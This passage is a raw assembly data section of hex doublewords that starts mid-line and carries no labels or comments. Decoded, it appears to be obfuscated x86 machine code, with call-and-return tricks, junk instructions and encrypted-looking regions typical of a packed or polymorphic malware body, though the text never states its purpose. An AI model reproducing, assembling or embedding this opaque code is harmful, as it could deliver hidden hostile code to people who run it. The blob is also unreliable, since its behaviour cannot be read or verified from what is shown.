8B5E10B5h, 0E70EC585h, 7C08305h, 10E9h, 204B0B00h, 0ECCC0393h dd 73609ADBh, 14B8E316h, 0C0837Bh, 0C558D09h, 0D03B05E7h dd 22830Fh, 9E80000h, 0BD000000h, 5D04D8F7h, 50C0C442h dd 699D3353h, 5B05E705h, 38E95Fh, 95890000h, 5E73259h dd 97D8D8Bh, 858905E7h, 5E721A5h, 0F01E183h, 1D84h, 0C3816600h dd 0A583F767h, 5E7097Dh, 714BBFFEh, 95894ABAh, 5E70EC5h dd 0E9FCh, 0B58D0000h, 5EB0800h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0B8C35646h, 0DE9h, 6290A100h dd 1DE411ECh, 20060809h, 0BD2B9784h, 5E71C65h, 21258589h dd 6A05E7h, 0FFF8BF0Fh, 0E71A1D95h, 0DD9D8B05h, 0B905E720h dd 83Ch, 2F89BD29h, 0E18305E7h, 14E9FCh, 7BB10000h, 0E73F0334h dd 0C2A45910h, 1DEB0C53h, 0B651E7B6h, 0E9BF4FC3h, 0FC53CF53h dd 15B9BD89h, 0C02B05E7h, 0BAh, 0F7816600h, 33AD6E2Ah dd 3E8D1C2h, 4E983D0h, 9D8BF475h, 5E71A01h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8CC35141h, 1F41A496h dd 830F9DA1h, 2, 0B70FFB8Bh, 880DDBh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 884308C3h, 3C99D8Bh, 958B05E7h, 5E72315h, 64DB589h dd 8D8B05E7h, 5E708B9h, 50FFB70Fh, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 7E92Bh, 0DA100000h dd 43E9D1AEh, 6AFA8BBBh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 43E8C350h, 6603CEA8h dd 0BD83FA8Bh, 5E7211Dh, 5E840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 327BC352h, 9978FFE8h, 524743D5h, 0B8h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 8660A79Eh, 4CDFF07Eh, 0FA8D8D7Eh, 6605E74Dh, 0E1FFF98Bh dd 1850C4BFh, 99BD8348h, 5E70Ch, 3DD840Fh, 0F3810000h dd 36D53A9Ch, 6E9h, 5F011F00h, 83C8B959h, 0E70C99BDh, 840F0105h dd 3DAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 76C35242h, 59ABDF65h, 0C99BD83h, 0F0305E7h, 37786h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0E3EC9401h, 82F8BFCEh, 66607277h, 6727EF81h dd 0E9D98C66h, 11h, 716FF863h, 0FED7F782h, 596A70A5h, 0AF24355Eh dd 4E180C5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 2EC35545h, 0FC90BB45h, 0C90A3643h, 12B840Fh, 0BD890000h dd 5E71691h, 72D858Bh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 3BD501C3h, 0B0E79F40h dd 8B97F947h, 0E70131BDh, 0E688BF05h, 8533075Dh, 5E72E81h dd 0CF80F88Ah, 0CE9907Dh, 33000000h, 46248676h, 541493A3h dd 5085619Eh, 0E89FB660h, 0Ch, 2E645665h, 25B92CC4h, 36A8FB0Fh dd 870Fh, 615F0000h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 6AFA8B3Bh, 5E800h, 4300000h dd 5BD66B75h, 4138F968h, 0FE8B3h, 4540000h, 0C6AF0F19h dd 342CD1FBh, 3CFBC3C2h, 77EDBB5Ch, 815F4119h, 0CB062404h dd 85894CDDh, 5E72D61h, 20E595FFh, 6A05E7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 667270C3h dd 0B5B529EDh, 8905E713h, 0EAA35085h, 3FA8B05h, 0E70421BDh dd 173E905h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 246358C3h, 48858B4Dh, 6A05EAA3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 1899C351h, 20D9589h, 0C705E7h, 18h, 0B874BB66h dd 0A34CB58Bh, 12E905EAh, 3A000000h, 7907EF27h, 0C5DAC1A6h dd 2858F460h, 5467DABBh, 81858B03h, 0E805E700h, 5, 89BCDD8Fh dd 55BD8BFBh, 5B05E725h, 6A0689h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 36DC2FC3h, 81661751h dd 8BFB80E3h, 0E7072D85h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 9AB79EF2h dd 0B5895152h, 5E72B71h, 46895F5Fh, 66509604h, 961E7ABFh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 78C35242h dd 49894AA5h, 39610A95h, 48B5FF57h, 905EAA3h, 0E7258595h dd 4E805h, 3FF0000h, 5F57001Fh, 24448B50h, 2870F04h, 0B3000000h dd 66008B89h, 891868BFh, 0E9042444h, 11h, 7FC4CFE2h, 8EDB4017h dd 0F2E84F74h, 0B52A75BDh, 0BD8B589Ah, 5E72585h, 0A350858Dh dd 850105EAh, 5E721ADh, 89905090h, 0E72D19BDh, 0E595FF05h dd 8B05E720h, 6A61DEh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0B5205DC3h, 578F9A98h, 81F88178h dd 5A0E31C7h, 9985C713h, 305E70Ch, 66000000h, 0E9E90FBBh dd 0Bh, 296570A6h, 9A8C4255h, 830FD98Bh, 0EAA350BDh, 840F0005h dd 30h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h dd 5AC35343h, 3ABBF66h, 24E9DA8Bh, 1000000h, 0E704619Dh dd 5BF85305h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 8BC08B00h, 0E72F959Dh, 0BE905h, 0B9570000h, 326C5F6Eh dd 0C2375D03h, 52006A74h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0AA270F81h, 0C3817F9Eh dd 19432448h, 5A5BD8Bh, 0BD8305E7h, 5E70C99h, 0E850F03h dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0DB5AC356h, 863F5CB8h, 6800F63h dd 29000000h, 0E72A2D85h, 50BD8305h, 5EAA3h, 3D3840Fh dd 0BD0B0000h, 5E71B3Dh, 0A350B5FFh, 6A05EAh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 2A7E60C3h dd 8CE5F80h, 8B32ECD5h, 0E732599Dh, 3D9D2905h, 0FF05E70Fh dd 0E72D6995h, 0FE905h, 0B4C0000h, 0DB2F31EAh, 0F3F39DBFh dd 0EE8C7609h, 0D88B660Ah, 0A344B58Bh, 0BB6605EAh, 6C75D33h dd 10001h, 14E9h, 81A6B900h, 42C0C632h, 0E10C3189h, 0C7D24675h dd 0C270CD39h, 525096A7h, 9E9h, 17F36100h, 4A8DAA94h, 310FCBE1h dd 585AF98Bh, 8850F50h, 51000000h, 310F5250h, 965F585Ah dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A7C35343h dd 69EC9A8Fh, 0AFFD0DC6h, 0D858944h, 0FF05E706h, 0EAA350B5h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0BE261A9Eh, 95FFAB8Fh, 5E7247Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 64C35242h, 2F2BA31Eh dd 9DE03B35h, 8B66D98Bh, 44B58BD8h, 0F905EAA3h, 3CD858Bh dd 0B70F05E7h, 0C48689F9h, 3000000h, 0E70D659Dh, 15958B05h dd 3105E723h, 0E714698Dh, 4C28305h, 2F59B529h, 508905E7h dd 299D8920h, 3305E72Bh, 0E71B11BDh, 32858D05h, 8905EAB7h dd 0E705818Dh, 0B8868905h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0E06DC356h dd 288E479Fh, 3DBD8901h, 6A05E701h, 0FFDE8B00h, 0EAA350B5h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 5FB0A87h, 0B7555F6Dh, 4195FF7Ah, 6A05E700h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0AF3FC356h, 0AED53236h, 0FE8DCDAh, 0E4000000h dd 0BF28ACh, 0DEA6F8Bh, 0BF0BBF59h, 0BF0F26CDh, 0E9505BFFh dd 9, 3D63BF41h, 0C6E5A46Ah, 243489F1h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Bh, 0BFC35141h, 60ACDC0Dh dd 0F34C355h, 8B66DBB7h, 50B5FFFAh, 6A05EAA3h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 78CC350h, 0E38ED0CCh, 9D8B4AF0h, 5E72DB9h, 2A0995FFh dd 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0FFE985C3h, 34BF7CB3h, 0BD29DF17h, 5E72135h dd 4F9BD83h, 0F0005E7h, 1B84h, 39BD2900h, 9605E72Dh, 60CA8A60h dd 6161DAB5h, 67BF6650h, 0BD8B963Fh, 5E727F9h, 0A350B5FFh dd 0B86005EAh, 3B085720h, 11E9h, 0B05C1B00h, 106CA522h dd 0F99904D4h, 0D647B7A1h, 666120E5h, 0A316F381h, 71D95FFh dd 605305E7h, 61EDF080h, 50B5FF5Bh, 6A05EAA3h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 2B60C352h, 45BD8BAAh, 0FF05E72Ah, 0E70CC595h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 86D2403h, 63D8589h, 0BD8305E7h, 5E725CDh, 50840F02h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 13C6C351h, 9D2BC51Bh, 5E731B1h dd 651858Bh, 8B6605E7h, 0C6FEh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0FDC35040h, 0C74ED707h, 0E70DFD85h dd 5, 35BD2300h, 8B05E717h, 0E72F799Dh, 0F43AE905h, 6AFFFFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0B74B67C3h, 6AC18BC1h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 14BCC353h, 0DB639D6Fh dd 29642D43h, 0E71BDD8Dh, 0B5BD8B05h, 0EB05E70Bh, 0A007F804h dd 5BEE913h, 0D5C30000h, 0CAC06FE1h, 0D2DF64E4h, 0CED966EAh dd 0EDD562EEh, 235263EDh, 0D57B434Fh, 0D57B434Eh, 0D37D5D4Eh dd 0EE624444h, 5A2E8BDBh, 59C69E52h, 0D357C2Ah, 40D7FD35h dd 298E0CD0h, 0C3751147h, 0DD30735Ch, 5CE3EBCBh, 36176B53h dd 72BC8BF7h, 6DBF8444h, 8C297457h, 0C3751124h, 419DEE3Fh dd 2A705676h, 5DA1F2C3h, 0DCE22A75h, 614CAFFEh, 0CC3B0727h dd 0D5A2F8DEh, 94B414B2h, 0D55263ACh, 0D07A6E94h, 36176BB4h dd 0AB55EDE5h, 6E69B2BFh, 0B07CF033h, 8CA627F8h, 0AA89114Bh dd 0EA664647h, 0CD61485Dh, 0ABCA787Fh, 39190D7Ch, 67BB84E5h dd 0D5292D18h, 0BC82A0EAh, 26745873h, 0DB1D982h, 23E4E269h dd 0CB2A0C1Ch, 4987A7E4h, 0B684AAE2h, 75E77EC3h, 81A1E5C3h dd 774772BDh, 0BCEFC22Bh, 5AA08686h, 0F4DC2273h, 75E75F21h dd 0A40B54C3h, 0D219A525h, 930D17B3h, 0B167D989h, 72h dd 1D2B1129h, 6067C6FAh, 7A525505h, 0CFB30654h, 5EC375E2h dd 0E65E8B0Fh, 0BF6917BEh, 1C370F6Fh, 9F8FA94Eh, 97099CDFh dd 0B567D8C2h, 1, 44785231h, 0B2B7D5Bh, 0B985D637h, 2D0D1950h dd 95B1FEDCh, 18321DB5h, 0A685E43Ah, 183C6F58h, 98A0E9B6h dd 0F39A655Dh, 715175D7h, 685870DFh, 2707063Eh, 29A188D6h dd 75E2248Ch, 9DEE3FC3h, 0D359FB3h, 6ECBEB22h, 0C375E29Ah dd 66D4899h, 93DC2218h, 0BC9C85BBh, 0E03E0F5Eh, 297B1FCCh dd 2877D9E1h, 0E5C9C0E0h, 311E4694h, 80E93515h, 79414EA5h dd 74123925h, 6464FBB3h, 8106C449h, 0E32428B1h, 0B5F0C1CCh dd 0D91A7EE6h, 656E67h, 52780000h, 3F085664h, 0A880CAF2h dd 1145FEFAh, 9F67BC9Ah, 0ABC7B9C4h, 58271B5Ah, 0F3B8931h dd 0DFCCEAD1h, 794AA3FFh, 2F1B2028h, 0E8361631h, 7A6AB081h dd 194EDD5h, 0C37589BFh, 0C41A6BB4h, 60AB86E5h, 1B644A42h dd 56701BC7h, 0D921E242h, 398267h, 52C40000h, 3F085664h dd 34F0CEEEh, 0C9F15377h, 528B5FF1h, 0B1045A78h, 0C375E2CCh dd 82963053h, 67D98E12h, 1232h, 48E0A800h, 901F9018h, 0F1473CDDh dd 0F2C37581h, 521442A1h, 3E095565h, 0CEF2C8EEh, 0E22F7D1Dh dd 63AFF0DAh, 1FD4185Bh, 9860B5D1h, 9BC375E2h, 4451794Ah dd 0C95D13C7h, 430B43ACh, 92D38276h, 0F6F408C6h, 4074F433h dd 7B47A6F7h, 0FCDAC46Bh, 16C4F9Eh, 0C9F13907h, 662ED6F8h dd 92BFED53h, 0D095E6C6h, 0C692BF68h, 15DB1A6Bh, 0AC14A169h dd 39C692BFh, 98F1CDEDh, 50BFFECFh, 0B5085678h, 0C692BFC1h dd 0B494BBEBh, 257D4C92h, 0CEB50208h, 0C497D63Dh, 9D2901C2h dd 0A38518EEh, 0BFE9C427h, 0C58DB19Fh, 92BD08F0h, 0E03A0BC6h dd 16040BCFh, 86EDC8CBh, 6D5AA086h, 0A3C71B3Bh, 0DD559E38h dd 0CFEA3BC3h, 0C6922D79h, 0C6D1297Ah, 78579695h, 0CDC20E50h dd 61F1F353h, 15371h, 14A16900h, 0C69245ACh, 431756A7h dd 1E3C6A35h, 304CA0DFh, 75E213E5h, 0D0D910C3h, 6ABB92E8h dd 0C189B119h, 75E20CF4h, 0F73607C3h, 5CF72512h, 1C23EBC9h dd 0FA4E2B13h, 0F9C692F6h, 0AFF84DA8h, 0B246453h, 604A888Bh dd 0BB95E64Ch, 46F0B38Bh, 8C98C84Dh, 644A42B1h, 0A91FBA62h dd 0AAC69205h, 0BC241A59h, 4694B893h, 3C020867h, 41AC8FDEh dd 771B6747h, 3E01C2C4h dd 95F4CAF0h, 0D517B56h, 0A754CCC3h, 447061F1h, 6E000000h dd 9DE1D9C1h, 279714Ch, 310530EDh, 0B5CBEEE0h, 0CEC375E3h dd 0E3875CF4h, 0CF18E51Ch, 0BE4BE3F3h, 9BBB9020h, 12F82A43h dd 0CB8276D3h, 9B48C375h, 2DEEFDFFh, 0CA7810A5h, 2A7BC375h dd 867526h, 2A50000h, 0FFA72FEEh, 43457B50h, 0FDCC1263h dd 0E8F4D9BEh, 0A0F1C95Ch, 1B3B6D5Ah, 113E6E35h, 39CC11F9h dd 0D42A7BCFh, 92A29261h, 0D1F9B2C6h, 236B5973h, 9DEE3F03h dd 70450D35h, 0C692A088h, 0BFDBA8Bh, 8C692A0h, 0FBDBF03Fh dd 31BFB4B8h, 3AAC1365h, 7C4D1517h, 387D4F6Ah, 2576CC86h dd 98BEEED9h, 2DAD3E42h, 6C6857F8h, 9F7E7211h, 0C89AE237h dd 0C768C2B2h, 3784E7C7h, 82BA6AE6h, 804C588Fh, 0E3F736A9h dd 1D3D6A35h, 0F68DE8C1h, 44FB12FAh, 931D89D0h, 0FB270842h dd 98E9C9DDh, 9FE1A846h, 230217B2h, 113E0EABh, 63CCC961h dd 39A10E37h, 306A961Ah, 0F83784E7h, 58B18DD1h, 3EDDA376h dd 85D6C699h, 0F1966B4h, 928FA72Fh, 2F044BF2h, 1BD31349h dd 206334C3h, 0A3FFDFC9h, 5EE56B4Ah, 4212684Eh, 574BAEAh dd 5796772Eh, 2DC0DAF2h, 0DF87CFDCh, 0E43E8217h, 0E435DF4Dh dd 4DE4B90Fh, 1A60BADFh, 9A531598h, 0B0230253h, 4C92BA16h dd 0B195B79Ch, 2B0B026Dh, 9E38A3D7h, 0E1C1CA55h, 477DAF82h dd 0BE106145h, 5497B791h, 0B599B398h, 37269h, 23A40000h dd 5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh, 86B4E2CDh dd 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh, 545502E4h dd 4C5815Dh, 83000000h, 2C8704EDh, 89525C24h, 4C281E2h dd 81000000h, 4EAh, 24148700h, 242C895Ch, 304368h, 243C8900h dd 8904EC83h, 91B9240Ch, 8905EBB0h, 8B5459CDh, 0C481243Ch dd 4, 4EC81h, 2C890000h, 8478F24h, 51243C8Bh, 0C181E189h dd 4, 8704C183h, 0FF5C240Ch, 835D2434h, 30E904C4h, 19FFFBC7h dd 0C160183Dh, 0BA78CACCh, 0EBB5D5B8h, 0FFC50305h, 1ABDF9E0h dd 0CF850164h, 8CED7103h, 3E709C53h, 1D44C916h, 0BD07F355h dd 784D7F11h, 5CDA8C4Dh, 0C75C014Ch, 0E7128E66h, 0D7A18266h dd 25413E1Ah, 3D4F7C01h, 0D5B5987Fh, 89BABB58h, 0CA60EA03h dd 0C6F6413Ch, 3F39650Ah, 0F9858D41h, 6A05E71Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 4EF1C357h, 0E8FA8B66h, 10h, 62E66392h, 9517072h, 0D300FD4h dd 5DE943B7h, 0EEF78166h, 85895F99h, 5E72081h, 0CE950h dd 0F3D00000h, 0E28AEF54h, 8111533Dh, 489626Bh, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 8FF8031Fh, 801E03C5h, 2C39BD8Bh, 6A05E7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 3C35141h, 0CE956h dd 0F7E50000h, 0B292F890h, 37A02DE7h, 6A7EAFh, 38B0Fh dd 0BF0F0000h, 0CC858DFEh, 6A05EBB8h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 9093C357h dd 3ABAB064h, 0BF0FA58Eh, 5C083F9h, 6E9h, 6A19F900h, 50A0B5B8h dd 0FA8B6650h, 2404895Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 3EC35545h, 6A8016h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 26C35242h, 25E91BF7h, 3006ABFh dd 0E70945BDh, 0B59D8B05h, 0FF05E731h, 0E702C595h, 5EBF6605h dd 148D8DDCh, 6A05EA95h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0FEB6C356h, 7A4C9B76h dd 43B75787h, 6AD1FF5Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 7DAC353h, 0DBE0493Ah dd 83F5DFEEh, 0E707F1BDh, 850F0105h, 71h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 19h, 9DC35646h, 0C7076D7Dh dd 8B026AD4h, 0E70BE9BDh, 0DE8A5005h, 8B240489h, 4195FFD8h dd 6A05E700h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0FD94C356h, 66C74650h, 12E9DE8Bh dd 0F5000000h, 33137EFBh, 76680CE2h, 6F599DDDh, 9E6ACF88h dd 0D35E9BFh, 0E80000h, 5D000000h, 0B8D6ED81h, 0DA8B05EBh dd 1235BD8Bh, 858D05E7h, 5EA8F5Bh, 6690DF8Bh, 9050D98Bh dd 35FF64h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0B51DC356h, 11DF2BF3h dd 0F52C7F5h, 685h, 4D8D0100h, 6605E708h, 8964D98Bh, 25h dd 85FFFC00h, 5E71CE1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0BEC35646h, 6AFF6A76h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0AFDCC352h dd 0D8BF0FCDh, 19E5B5FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0E9BBADC3h, 0F7F61485h dd 29C195FFh, 5AE905E7h, 0B0000001h, 0E6D88A00h, 8B666070h dd 71E461F9h, 0AE9h, 0C7B8FC00h, 4E9D307Fh, 3C5924EFh dd 36830F61h, 60000001h, 0FF78B66h, 1985h, 14E900h, 0DFC40000h dd 7236EFB0h, 90663FFCh, 611B2FF1h, 90FA3ED8h, 0F6112A5h dd 0D86h, 6E800h, 6CA80000h, 0C11C42C5h, 0B60F5BF9h, 79BD8BC8h dd 0BA05E715h, 6, 20759D89h, 0C18B05E7h, 28E0Fh, 0D88B0000h dd 0E804E8C1h, 10h, 401B705Ch, 0A2AA8BFh, 55F37F80h, 47740614h dd 0DE9h, 4BF17400h, 0B57CB106h, 0E7E8CA5Ch, 665BDBE3h dd 0B531E2F7h, 5E72141h, 8166C82Bh, 8BCF98EFh, 8DCB80D1h dd 9CE9h, 6890F00h, 1000000h, 0E70E8D85h, 0DE905h, 0C7F10000h dd 27F45D6Eh, 440C9EB9h, 8BF839A8h, 885h, 0C9B53100h, 8305E703h dd 8B6607C0h, 0C083DFh, 7299D89h, 0D03B05E7h, 0E830Fh dd 85890000h, 5E72DCDh, 50E9h, 0DA8B6600h, 0FFFF8D8Bh dd 9D03FFFFh, 5E721C9h, 0F01E183h, 3884h, 199D8B00h, 8305E707h dd 0FFFFFFA5h, 860FFEFFh, 5, 314AFABFh, 8958952h, 8B000000h dd 0EE9DAh, 0D61C0000h, 8D38449Ch, 8720FFE0h, 83B6114Eh dd 0E9h, 44B58D00h, 8905EB35h, 0E70E59BDh, 0F98B6605h dd 0B589006Ah, 5E70CF9h, 1A1D95FFh, 0B9F505E7h, 0F47h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0AEC35545h dd 4BC085DDh, 0BD33EA47h, 5E72B71h, 0B7FCE183h, 0F52FC8Ah dd 0F5FD9BFh, 1585h, 10E900h, 68750000h, 0AFBE4649h, 9E73687Fh dd 1BF1A4C6h, 0C02B44D3h, 3ED78166h, 0BA5Ch, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 152623C3h, 0D2E35080h, 6638DA82h, 0A2B0EF81h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 6AFC8Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 7A45DEC3h, 528F6566h dd 2C0D9D8Bh, 0F5B05E7h, 0F8Fh, 6E800h, 72930000h, 0EBF27677h dd 5BFB8B66h, 880Dh, 2D9D2B00h, 8B05E709h, 0E7231595h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 3319A06Fh, 0CB00FF00h, 9D014754h dd 5E72A5Dh, 259D0150h, 5B05E72Fh, 8B98D8Bh, 6A05E7h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 5803BFC3h, 0E8DAD3D1h, 0Ah, 0EBDC32C7h, 3F25694Dh, 8B0FD8A9h dd 6, 7799D89h, 505F05E7h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 68B0F58h, 89000000h, 0E7085185h, 14E905h dd 0FF290000h, 1325D5F3h, 55F67260h, 1B98DCB9h, 41AD0428h dd 0BD8395C6h, 5E7211Dh, 3D840F00h, 81000000h, 0CB550CCBh dd 0B81Ch, 81660000h, 8DAA44EFh, 0E74DFA8Dh, 79B50105h dd 0FF05E707h, 53006AE1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 1B1AE5B0h, 0C99BD83h dd 0F0005E7h, 3FC84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0F7B5399Fh, 11BD3660h dd 83FB8B4Bh, 0E70C99BDh, 840F0105h, 3E4h, 0A99D89h, 2B305E7h dd 0C99BD83h, 0F0305E7h, 39986h, 13E900h, 0CC480000h, 4C5AD703h dd 5C60DDEBh, 5F134A87h, 0C3AAAA7Bh, 10E9A3h, 5A470000h dd 9E84391Ch, 0E8BB2611h, 517A4EEEh, 29608553h, 0E7000DB5h dd 0D98C6605h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 94C35646h, 66938B84h, 9A0CC781h, 599D8BF5h, 8005E715h dd 6A04E1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 13BA3BC3h, 0FC90A8Fh, 11984h, 25BD8B00h dd 8B05E721h, 0E7072D85h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0EE65CF09h dd 8B469801h, 0E703ADBDh, 81853305h, 5005E72Eh, 4895B56h dd 7890F24h, 0F000000h, 180h, 6AF800h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 4AC35242h, 54BFCFB2h, 682689BCh dd 3E88461Fh, 0AE8h, 751C600h, 9D8A60FBh, 0BF1CE9D0h, 7F9A345h dd 2434815Bh, 3E9745E0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 2C35545h, 74F88278h, 5859D89h, 95FF05E7h dd 5E720E5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 2C35545h, 8BC744F9h, 43798A74h, 8589F50Bh, 5EAA350h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 16C35343h dd 90CAF4DAh, 0A867DBBBh, 17FE95Fh, 0BB660000h, 858BCF77h dd 5EAA348h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 7C35343h, 7E86Dh, 0C8DA0000h, 948E3B6Bh, 2BA9BF33h dd 0C75B58CAh, 1800h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0BB6643B1h, 0B58BF472h dd 5EAA34Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0DCC35242h, 0FFCB8166h, 81858BB7h, 6A05E700h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 42D7C350h, 0F3814886h, 1626D1D3h, 0BD8B0689h, 5E704DDh dd 72D858Bh, 0BEB705E7h, 6A044689h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 126C350h dd 3B035060h, 0F781E3A6h, 79DB5662h, 44BF6650h, 24348900h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2FC35545h dd 3DD48716h, 64FBCB25h, 0A348B5FFh, 8A0F05EAh, 2, 23683AB7h dd 0BF32EA52h, 356195C1h, 0DC243481h, 8D32F551h, 0EAA35085h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 805D434Bh, 5090B9DBh, 0D98B6652h, 0BB66310Fh dd 585AEE76h, 90A7B750h, 20E595FFh, 665105E7h, 4453D781h dd 6A615Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0F942D0C3h, 0BEF92C04h, 0A899D8Bh, 85C705E7h dd 5E70C99h, 3, 20DD9D8Bh, 0BD8305E7h, 5EAA350h, 33840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 8E8CC352h, 8BA40867h, 0E72CE9BDh dd 23E905h, 31530000h, 0E704B995h, 30505F05h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0EE8C0h dd 0E5CF0000h, 0EF04329Fh, 231BE13Ah, 2FBBFB20h, 0BD83F55Bh dd 5E70C99h, 4C850F03h, 6A000004h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 84EAC357h dd 50BD8311h, 5EAA3h, 421840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0F1B061C3h dd 9CC92F4Fh, 